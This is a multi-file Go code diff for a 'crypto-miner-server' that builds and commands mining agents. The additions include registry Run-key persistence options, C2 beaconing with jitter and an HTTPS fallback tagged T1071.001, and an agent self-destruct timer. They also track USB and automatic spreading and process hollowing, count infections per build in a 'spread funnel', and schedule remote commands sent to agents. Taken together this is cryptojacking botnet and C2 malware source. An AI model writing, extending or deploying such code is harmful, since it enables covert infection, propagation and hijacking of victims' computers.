fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
connectTasks ConnectTaskRunner
mu sync.RWMutex
// pendingCmdCallbacks allows handlers to await a specific command_result
// from an agent (used by Path Tracer orchestration).
pendingCmdMu sync.Mutex
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
beaconMu sync.Mutex
beaconLastSeen map[string]time.Time
beaconCmdQueue map[string][]BeaconCommand
}
func NewWSHub(database *db.Database) *WSHub {
@@ -148,6 +159,8 @@ func NewWSHub(database *db.Database) *WSHub {
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
pingIntervalSec: 30,
}
@@ -231,6 +244,22 @@ func (h *WSHub) SetFleetSecret(secret string) {
h.mu.Unlock()
}
func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) {
h.mu.Lock()
h.connectTasks = r
h.mu.Unlock()
}
func (h *WSHub) ConnectedAgentIDs() []string {
h.mu.RLock()
defer h.mu.RUnlock()
ids := make([]string, 0, len(h.agents))
for id := range h.agents {
ids = append(ids, id)
}
return ids
}
func (h *WSHub) pingInterval() time.Duration {
h.mu.RLock()
sec := h.pingIntervalSec
@@ -516,6 +545,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id"`
USBSpread bool `json:"usb_spread"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -580,6 +611,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AutoSpread: auth.AutoSpread,
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
AIEnabled: auth.AIEnabled,
USBSpread: auth.USBSpread,
}
h.mu.Lock()
@@ -638,6 +670,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
prior, priorErr := h.db.GetAgent(agentID)
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
workerName := auth.WorkerName
if workerName == "" {
workerName = auth.Worker
}
agent := &models.Agent{
ID: agentID,
Name: displayName,
@@ -653,6 +690,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
OSVersion: auth.OSVersion,
Hostname: auth.Hostname,
MacAddress: auth.MacAddress,
BuildID: auth.BuildID,
WorkerName: workerName,
USBSpread: auth.USBSpread,
Capabilities: &caps,
}
@@ -692,6 +732,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.agents[agentID] = ac
h.mu.Unlock()
h.FlushBeaconCommandsToWS(agentID)
h.ClearBeaconTransport(agentID)
// Start the RTT-aware ping loop now that we have an AgentConnection.
go h.runPingLoopAgent(ac)
@@ -726,6 +769,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
h.mu.RLock()
runner := h.connectTasks
h.mu.RUnlock()
if runner != nil {
if isNewAgent {
go runner.RunConnectTasks(agentID, "on_connect")
} else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) {
go runner.RunConnectTasks(agentID, "on_reconnect")
}
}
case "stats":
if agentID == "" {
continue
@@ -1051,6 +1105,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
// Notify any handler waiting for this specific agent+action result.
if action, _ := payload["action"].(string); action != "" {
h.notifyCmdCallback(agentID, action, payload)
if action == "full_sys_check" {
if ok, _ := payload["success"].(bool); ok {
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
name := agentID
if h.db != nil {
if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" {
name = ag.Name
}
}
alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg)
}
}
}
}
}
}
@@ -1220,11 +1287,17 @@ func (h *WSHub) RemoveAgent(agentID string) {
// SendAgentCommand sends a remote command to an agent.
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
payload := map[string]interface{}{"action": action}
for k, v := range args {
payload[k] = v
if h.isAgentConnected(agentID) {
payload := map[string]interface{}{"action": action}
for k, v := range args {
payload[k] = v
}
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
}
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
if h.EnqueueBeaconCommand(agentID, action, args) {
return nil
}
return fmt.Errorf("agent %s not connected", agentID)
}
// BroadcastAgentCommand sends a remote command to all connected agents.

View File

@@ -39,6 +39,12 @@ type BuildRequest struct {
RunAs string `json:"run_as"`
HostBinaryTarget string `json:"host_binary_target"`
AutoStart bool `json:"auto_start"`
AutostartMode string `json:"autostart_mode"`
RegistryPersistence string `json:"registry_persistence"`
RegistryRunHKCU bool `json:"registry_run_hkcu"`
RegistryRunHKLM bool `json:"registry_run_hklm"`
RegistryRunOnce bool `json:"registry_run_once"`
RegistryExplorerRun bool `json:"registry_explorer_run"`
Persistence bool `json:"persistence"`
ProcessName string `json:"process_name"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
@@ -97,6 +103,13 @@ type BuildRequest struct {
RVNPoolTLS bool `json:"rvn_pool_tls"`
RVNPoolPass string `json:"rvn_pool_pass"`
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
// Connection profile — C2 beacon timing and agent self-destruct
BeaconIntervalSec int `json:"beacon_interval_sec"`
BeaconJitterPct int `json:"beacon_jitter_pct"`
AgentKillAfterDays int `json:"agent_kill_after_days"`
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -341,6 +354,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
if h.db != nil {
user := ""
if u, _, ok := r.BasicAuth(); ok {
user = u
}
_ = h.db.InsertAudit(user, "forge_build", "", map[string]string{
"build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName,
})
}
if r.URL.Query().Get("download") == "1" {
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
@@ -848,6 +871,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.Persistence {
req.AutoStart = true
}
req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode))
req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence))
normalizeRegistryPersistence(req)
if req.ProcessName == "" {
req.ProcessName = sanitizeFileName(req.WorkerName)
}
@@ -1031,6 +1057,12 @@ func GetBuiltinConfig() BuiltinConfig {
RunAs: %q,
HostBinaryTarget: %q,
AutoStart: %v,
AutostartMode: %q,
RegistryPersistence: %q,
RegistryRunHKCU: %v,
RegistryRunHKLM: %v,
RegistryRunOnce: %v,
RegistryExplorerRun: %v,
ProcessName: %q,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
@@ -1078,6 +1110,12 @@ func GetBuiltinConfig() BuiltinConfig {
RVNPoolTLS: %v,
RVNPoolPass: %q,
RVNBackupPools: %s,
BeaconIntervalSec: %d,
BeaconJitterPct: %d,
AgentKillAfterDays: %d,
HTTPSBeaconFallback: %v,
HTTPSBeaconAfterMin: %d,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1094,6 +1132,12 @@ func GetBuiltinConfig() BuiltinConfig {
req.RunAs,
req.HostBinaryTarget,
req.AutoStart,
strings.TrimSpace(req.AutostartMode),
strings.TrimSpace(req.RegistryPersistence),
req.RegistryRunHKCU,
req.RegistryRunHKLM,
req.RegistryRunOnce,
req.RegistryExplorerRun,
req.ProcessName,
buildID,
time.Now().Unix(),
@@ -1139,9 +1183,33 @@ func GetBuiltinConfig() BuiltinConfig {
req.RVNPoolTLS,
rvnPoolPass(req),
formatGoBackupPools(req.RVNBackupPools),
req.BeaconIntervalSec,
req.BeaconJitterPct,
req.AgentKillAfterDays,
httpsBeaconFallbackEnabled(req),
httpsBeaconAfterMin(req),
)
}
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
if req.HTTPSBeaconFallback {
return true
}
for _, u := range req.BackupServerURLs {
if strings.TrimSpace(u) != "" {
return true
}
}
return false
}
func httpsBeaconAfterMin(req *BuildRequest) int {
if req.HTTPSBeaconAfterMin > 0 {
return req.HTTPSBeaconAfterMin
}
return 3
}
func rvnPoolHost(req *BuildRequest) string {
if req.RVNPoolHost == "" {
return "rvn.2miners.com"

View File

@@ -62,6 +62,9 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
if !strings.Contains(src, "BackupServerURLs") {
t.Error("expected BackupServerURLs field in generated config")
}
if !strings.Contains(src, "AutostartMode") {
t.Error("expected AutostartMode field in generated config")
}
}
func TestBuildPlatformLabelAndBinDir(t *testing.T) {

View File

@@ -0,0 +1,41 @@
package builder
// normalizeRegistryPersistence maps forge checkboxes to baked config when enum is empty.
func normalizeRegistryPersistence(req *BuildRequest) {
if req == nil {
return
}
if req.RegistryPersistence != "" && req.RegistryPersistence != "off" {
return
}
if !req.RegistryRunHKCU && !req.RegistryRunHKLM && !req.RegistryRunOnce && !req.RegistryExplorerRun {
return
}
count := 0
if req.RegistryRunHKCU {
count++
}
if req.RegistryRunOnce {
count++
}
if req.RegistryRunHKLM {
count++
}
if req.RegistryExplorerRun {
count++
}
if count == 1 {
switch {
case req.RegistryRunHKCU:
req.RegistryPersistence = "hkcu_run"
case req.RegistryRunOnce:
req.RegistryPersistence = "hkcu_run_once"
case req.RegistryRunHKLM:
req.RegistryPersistence = "hklm_run"
case req.RegistryExplorerRun:
req.RegistryPersistence = "explorer_run"
}
return
}
req.RegistryPersistence = "combined"
}

View File

@@ -0,0 +1,30 @@
package builder
import "testing"
func TestNormalizeRegistryPersistenceSingleCheckbox(t *testing.T) {
req := &BuildRequest{RegistryRunOnce: true}
normalizeRegistryPersistence(req)
if req.RegistryPersistence != "hkcu_run_once" {
t.Fatalf("got %q", req.RegistryPersistence)
}
}
func TestNormalizeRegistryPersistenceCombined(t *testing.T) {
req := &BuildRequest{RegistryRunHKCU: true, RegistryRunOnce: true}
normalizeRegistryPersistence(req)
if req.RegistryPersistence != "combined" {
t.Fatalf("got %q", req.RegistryPersistence)
}
}
func TestNormalizeRegistryPersistenceEnumWins(t *testing.T) {
req := &BuildRequest{
RegistryPersistence: "hkcu_run",
RegistryRunHKLM: true,
}
normalizeRegistryPersistence(req)
if req.RegistryPersistence != "hkcu_run" {
t.Fatalf("enum should win, got %q", req.RegistryPersistence)
}
}

View File

@@ -122,6 +122,10 @@ if (Test-Path $ExpectedExe) {
Write-Host "Removing persistence..."
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Boot') -Confirm:$false -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Logon') -Confirm:$false -ErrorAction SilentlyContinue
$StartupLnk = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Startup\' ($PersistenceKey + '.lnk')
if (Test-Path $StartupLnk) { Remove-Item -LiteralPath $StartupLnk -Force }
if (%s) {
Write-Host "Removing Windows Firewall rules..."

View File

@@ -33,6 +33,16 @@ func TestGenerateUninstallScriptStealthKey(t *testing.T) {
}
}
func TestGenerateUninstallScriptAutostartExtras(t *testing.T) {
req := &BuildRequest{WorkerName: "lab", ProcessName: "Worker", StealthMode: false}
script := generateUninstallScript("build-id", req)
for _, frag := range []string{"-Boot", "-Logon", "Programs\\Startup", ".lnk"} {
if !strings.Contains(script, frag) {
t.Fatalf("expected autostart cleanup fragment %q in script", frag)
}
}
}
func TestGenerateUninstallScriptInstallPathTokens(t *testing.T) {
req := &BuildRequest{
WorkerName: "office-pc",

View File

@@ -34,6 +34,7 @@ func (d *Database) scanAgent(row interface {
}) (*models.Agent, error) {
a := &models.Agent{}
var notes, tagsRaw string
var usbSpread int
err := row.Scan(
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
@@ -41,18 +42,21 @@ func (d *Database) scanAgent(row interface {
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
&a.BuildID, &a.WorkerName, &usbSpread,
)
if err != nil {
return nil, err
}
a.Notes = notes
a.Tags = decodeTags(tagsRaw)
a.USBSpread = usbSpread == 1
return a, nil
}
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address`
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
build_id, worker_name, usb_spread`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -0,0 +1,55 @@
package db
import (
"encoding/json"
"time"
"crypto-miner-server/internal/models"
)
func (d *Database) InsertAudit(username, action, agentID string, detail interface{}) error {
var detailJSON []byte
if detail != nil {
var err error
detailJSON, err = json.Marshal(detail)
if err != nil {
detailJSON = []byte("{}")
}
}
_, err := d.Exec(
`INSERT INTO audit_log (timestamp, username, action, agent_id, detail) VALUES (?, ?, ?, ?, ?)`,
time.Now(), username, action, agentID, string(detailJSON),
)
return err
}
func (d *Database) ListAudit(limit int) ([]*models.AuditEntry, error) {
if limit <= 0 {
limit = 50
}
if limit > 500 {
limit = 500
}
rows, err := d.Query(
`SELECT id, timestamp, username, action, agent_id, detail FROM audit_log ORDER BY id DESC LIMIT ?`,
limit,
)
if err != nil {
return nil, err
}
defer rows.Close()
var out []*models.AuditEntry
for rows.Next() {
e := &models.AuditEntry{}
var detailStr string
if err := rows.Scan(&e.ID, &e.Timestamp, &e.Username, &e.Action, &e.AgentID, &detailStr); err != nil {
return nil, err
}
if detailStr != "" {
e.Detail = json.RawMessage(detailStr)
}
out = append(out, e)
}
return out, nil
}

View File

@@ -0,0 +1,46 @@
package db
import (
"testing"
"crypto-miner-server/internal/models"
)
func TestAuditLogRoundTrip(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
if err := d.InsertAudit("admin", "forge_build", "", map[string]string{"build_id": "b1"}); err != nil {
t.Fatal(err)
}
rows, err := d.ListAudit(10)
if err != nil {
t.Fatal(err)
}
if len(rows) != 1 || rows[0].Action != "forge_build" || rows[0].Username != "admin" {
t.Fatalf("unexpected audit rows: %+v", rows)
}
}
func TestFleetTasksCRUD(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
task := &models.FleetTask{Name: "sysinfo on connect", Enabled: true, Trigger: "on_connect", Action: "sysinfo"}
if err := d.UpsertFleetTask(task); err != nil {
t.Fatal(err)
}
list, err := d.ListFleetTasks()
if err != nil || len(list) != 1 {
t.Fatalf("list: %v err=%v", list, err)
}
if err := d.DeleteFleetTask(list[0].ID); err != nil {
t.Fatal(err)
}
}

View File

@@ -0,0 +1,97 @@
package db
import (
"database/sql"
"time"
"crypto-miner-server/internal/models"
"github.com/google/uuid"
)
func (d *Database) ListFleetTasks() ([]*models.FleetTask, error) {
rows, err := d.Query(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks ORDER BY created_at`)
if err != nil {
return nil, err
}
defer rows.Close()
return scanFleetTasks(rows)
}
func (d *Database) GetFleetTask(id string) (*models.FleetTask, error) {
row := d.QueryRow(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks WHERE id = ?`, id)
return scanFleetTaskRow(row)
}
func (d *Database) UpsertFleetTask(t *models.FleetTask) error {
if t.ID == "" {
t.ID = uuid.New().String()
}
now := time.Now()
if t.CreatedAt.IsZero() {
t.CreatedAt = now
}
t.UpdatedAt = now
_, err := d.Exec(`INSERT INTO fleet_tasks (id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
enabled = excluded.enabled,
trigger = excluded.trigger,
interval_hours = excluded.interval_hours,
cron_time = excluded.cron_time,
action = excluded.action,
command = excluded.command,
target = excluded.target,
updated_at = excluded.updated_at`,
t.ID, t.Name, boolToInt(t.Enabled), t.Trigger, t.IntervalHours, t.CronTime, t.Action, t.Command, t.Target, t.CreatedAt, t.UpdatedAt,
)
return err
}
func (d *Database) DeleteFleetTask(id string) error {
_, err := d.Exec(`DELETE FROM fleet_tasks WHERE id = ?`, id)
return err
}
func (d *Database) RecordFleetTaskRun(agentID, taskID string) error {
_, err := d.Exec(`INSERT INTO fleet_task_runs (agent_id, task_id, last_run_at) VALUES (?, ?, ?)
ON CONFLICT(agent_id, task_id) DO UPDATE SET last_run_at = excluded.last_run_at`,
agentID, taskID, time.Now(),
)
return err
}
func (d *Database) LastFleetTaskRun(agentID, taskID string) (time.Time, bool) {
var ts time.Time
err := d.QueryRow(`SELECT last_run_at FROM fleet_task_runs WHERE agent_id = ? AND task_id = ?`, agentID, taskID).Scan(&ts)
if err != nil {
return time.Time{}, false
}
return ts, true
}
func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) {
t := &models.FleetTask{}
var enabled int
err := row.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt)
if err != nil {
return nil, err
}
t.Enabled = enabled == 1
return t, nil
}
func scanFleetTasks(rows *sql.Rows) ([]*models.FleetTask, error) {
var out []*models.FleetTask
for rows.Next() {
t := &models.FleetTask{}
var enabled int
if err := rows.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt); err != nil {
return nil, err
}
t.Enabled = enabled == 1
out = append(out, t)
}
return out, rows.Err()
}

View File

@@ -0,0 +1,52 @@
package db
import "time"
type SpreadFunnelRow struct {
BuildID string `json:"build_id"`
WorkerName string `json:"worker_name"`
Count int `json:"count"`
USBSpread int `json:"usb_spread_count"`
}
type SpreadFunnelStats struct {
ByBuild []SpreadFunnelRow `json:"by_build"`
NewConnectsToday int `json:"new_connects_today"`
TotalAgents int `json:"total_agents"`
}
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
stats := &SpreadFunnelStats{}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
return nil, err
}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {
return nil, err
}
rows, err := d.Query(`
SELECT COALESCE(NULLIF(build_id,''), 'unknown') AS build_id,
COALESCE(NULLIF(worker_name,''), name) AS worker_name,
COUNT(*) AS cnt,
SUM(CASE WHEN usb_spread = 1 THEN 1 ELSE 0 END) AS usb_cnt
FROM agents
WHERE created_at >= ?
GROUP BY build_id, worker_name
ORDER BY cnt DESC`,
since,
)
if err != nil {
return nil, err
}
defer rows.Close()
for rows.Next() {
var r SpreadFunnelRow
if err := rows.Scan(&r.BuildID, &r.WorkerName, &r.Count, &r.USBSpread); err != nil {
return nil, err
}
stats.ByBuild = append(stats.ByBuild, r)
}
return stats, rows.Err()
}

View File

@@ -130,6 +130,45 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
extraMigrations := []string{
`CREATE TABLE IF NOT EXISTS audit_log (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
username TEXT NOT NULL DEFAULT '',
action TEXT NOT NULL,
agent_id TEXT NOT NULL DEFAULT '',
detail TEXT NOT NULL DEFAULT '{}'
)`,
`CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_log(timestamp)`,
`CREATE TABLE IF NOT EXISTS fleet_tasks (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
enabled INTEGER NOT NULL DEFAULT 1,
trigger TEXT NOT NULL,
interval_hours REAL NOT NULL DEFAULT 0,
cron_time TEXT NOT NULL DEFAULT '',
action TEXT NOT NULL,
command TEXT NOT NULL DEFAULT '',
target TEXT NOT NULL DEFAULT 'all',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS fleet_task_runs (
agent_id TEXT NOT NULL,
task_id TEXT NOT NULL,
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (agent_id, task_id)
)`,
}
for _, m := range extraMigrations {
if _, err := d.Exec(m); err != nil {
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
}
}
return nil
}
@@ -137,8 +176,8 @@ func (d *Database) migrate() error {
// Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?)
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
wallet = excluded.wallet,
@@ -152,8 +191,15 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
arch = excluded.arch,
os_version = excluded.os_version,
hostname = excluded.hostname,
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END`
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress)
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
usb_spread = excluded.usb_spread`
usb := 0
if a.USBSpread {
usb = 1
}
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
return err
}

View File

@@ -34,6 +34,10 @@ type Agent struct {
Hostname string `json:"hostname,omitempty"`
MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id,omitempty"`
WorkerName string `json:"worker_name,omitempty"`
USBSpread bool `json:"usb_spread,omitempty"`
// Live connection quality — not persisted, set by WSHub each stats cycle.
LatencyMs *int `json:"latency_ms,omitempty"`
@@ -102,6 +106,7 @@ type AgentCapabilities struct {
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
AIEnabled bool `json:"ai_enabled"`
USBSpread bool `json:"usb_spread"`
}
type Share struct {

View File

@@ -0,0 +1,15 @@
package models
import (
"encoding/json"
"time"
)
type AuditEntry struct {
ID int64 `json:"id"`
Timestamp time.Time `json:"timestamp"`
Username string `json:"username"`
Action string `json:"action"`
AgentID string `json:"agent_id,omitempty"`
Detail json.RawMessage `json:"detail,omitempty"`
}

View File

@@ -0,0 +1,18 @@
package models
import "time"
// FleetTask is a server-side scheduled remote action pushed to agents.
type FleetTask struct {
ID string `json:"id"`
Name string `json:"name"`
Enabled bool `json:"enabled"`
Trigger string `json:"trigger"` // on_connect, on_reconnect, interval_hours, cron
IntervalHours float64 `json:"interval_hours,omitempty"`
CronTime string `json:"cron_time,omitempty"` // HH:MM daily
Action string `json:"action"`
Command string `json:"command,omitempty"`
Target string `json:"target,omitempty"` // all (default)
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
}

View File

@@ -0,0 +1,142 @@
package scheduler
import (
"log"
"strings"
"sync"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
// CommandSender pushes a remote command to a connected agent.
type CommandSender interface {
SendAgentCommand(agentID, action string, args map[string]interface{}) error
ConnectedAgentIDs() []string
}
// FleetScheduler runs interval and cron fleet tasks against connected agents.
type FleetScheduler struct {
db *db.Database
send CommandSender
stop chan struct{}
wg sync.WaitGroup
cronMu sync.Mutex
lastCronRuns map[string]string // taskID -> "2006-01-02 15:04"
}
func New(db *db.Database, send CommandSender) *FleetScheduler {
return &FleetScheduler{
db: db,
send: send,
stop: make(chan struct{}),
lastCronRuns: make(map[string]string),
}
}
func (s *FleetScheduler) Start() {
s.wg.Add(1)
go s.loop()
}
func (s *FleetScheduler) Stop() {
close(s.stop)
s.wg.Wait()
}
func (s *FleetScheduler) loop() {
defer s.wg.Done()
ticker := time.NewTicker(1 * time.Minute)
defer ticker.Stop()
for {
select {
case <-s.stop:
return
case <-ticker.C:
s.tickInterval()
s.tickCron()
}
}
}
// RunConnectTasks executes tasks matching on_connect or on_reconnect for one agent.
func (s *FleetScheduler) RunConnectTasks(agentID string, trigger string) {
tasks, err := s.db.ListFleetTasks()
if err != nil {
log.Printf("[scheduler] list tasks: %v", err)
return
}
for _, t := range tasks {
if !t.Enabled || t.Trigger != trigger {
continue
}
s.dispatchTask(agentID, t)
}
}
func (s *FleetScheduler) tickInterval() {
tasks, err := s.db.ListFleetTasks()
if err != nil {
return
}
agentIDs := s.send.ConnectedAgentIDs()
for _, t := range tasks {
if !t.Enabled || t.Trigger != "interval_hours" || t.IntervalHours <= 0 {
continue
}
interval := time.Duration(t.IntervalHours * float64(time.Hour))
for _, agentID := range agentIDs {
last, ok := s.db.LastFleetTaskRun(agentID, t.ID)
if ok && time.Since(last) < interval {
continue
}
s.dispatchTask(agentID, t)
}
}
}
func (s *FleetScheduler) tickCron() {
now := time.Now()
slot := now.Format("15:04")
daySlot := now.Format("2006-01-02") + " " + slot
tasks, err := s.db.ListFleetTasks()
if err != nil {
return
}
agentIDs := s.send.ConnectedAgentIDs()
for _, t := range tasks {
if !t.Enabled || t.Trigger != "cron" || strings.TrimSpace(t.CronTime) == "" {
continue
}
cronTime := strings.TrimSpace(t.CronTime)
if cronTime != slot {
continue
}
s.cronMu.Lock()
if s.lastCronRuns[t.ID] == daySlot {
s.cronMu.Unlock()
continue
}
s.lastCronRuns[t.ID] = daySlot
s.cronMu.Unlock()
for _, agentID := range agentIDs {
s.dispatchTask(agentID, t)
}
}
}
func (s *FleetScheduler) dispatchTask(agentID string, t *models.FleetTask) {
args := map[string]interface{}{}
if t.Command != "" {
args["command"] = t.Command
}
if err := s.send.SendAgentCommand(agentID, t.Action, args); err != nil {
log.Printf("[scheduler] task %s → %s: %v", t.Name, agentID, err)
return
}
_ = s.db.RecordFleetTaskRun(agentID, t.ID)
log.Printf("[scheduler] dispatched task %q (%s) → agent %s", t.Name, t.Action, agentID)
}

View File

@@ -18,6 +18,7 @@ import (
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/maintenance"
"crypto-miner-server/internal/pool"
"crypto-miner-server/internal/scheduler"
"crypto-miner-server/internal/sys"
)
@@ -143,6 +144,7 @@ func main() {
wsHub.SetFleetSecret(newSecret)
builderHandler.SetFleetSecret(newSecret)
api.SetAgentPathSecret(newSecret)
_ = database.InsertAudit("", "fleet_secret_rotate", "", map[string]string{"prefix": newSecret[:8]})
log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8])
return newSecret, nil
})
@@ -183,6 +185,9 @@ func main() {
},
}
configHandler := api.NewConfigHandler(configProvider)
configHandler.SetAuditSaveHook(func(user string) {
_ = database.InsertAudit(user, "config_save", "", nil)
})
log.Println("Config handler initialized")
